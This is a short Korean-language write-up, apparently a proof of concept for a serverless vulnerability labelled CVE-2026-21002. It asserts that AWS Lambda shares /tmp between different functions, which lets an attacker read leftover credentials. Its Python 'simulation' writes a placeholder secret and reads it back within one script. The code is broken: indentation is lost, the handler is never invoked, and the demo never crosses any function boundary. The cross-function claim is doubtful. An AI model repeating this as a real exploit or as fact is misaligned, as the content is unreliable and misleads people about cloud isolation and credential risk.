
CVE-2026-21002 서버리스 콜드 스타트 자격 증명 유출을 위한 PoC 익스플로잇으로, 재사용된 Lambda /tmp 디렉터리가 AWS 비밀 정보를 다른 함수에 노출시키는 방식을 시연합니다.
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time
SECRET_FILE = '/tmp/credentials' # reused across warm starts
def handler(event):
# On first invocation, write a secret
if not os.path.exists(SECRET_FILE):
with open(SECRET_FILE, 'w') as f:
f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
return "Initialized"
# Later invocations can read it
with open(SECRET_FILE) as f:
return f.read()
# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
print("Attacker reads:", f.read())
서버리스 플랫폼은 함수 호출 간, 그리고 동일 계정의 서로 다른 함수 간에도 실행 환경(/tmp 포함)을 재사용합니다. 공격자의 함수는 콜드 스타트 이후 다른 함수가 /tmp에 남긴 민감한 파일을 읽을 수 있으며, 이로 인해 자격 증명 탈취가 발생할 수 있습니다.
/tmp 디렉터리가 함수 간 격리 없이 웜 컨테이너 간에 공유됩니다.시뮬레이션을 실행합니다:
python lambda_func_sim.py
공격자는 피해자 함수가 남긴 AWS_SECRET_ACCESS_KEY를 읽습니다.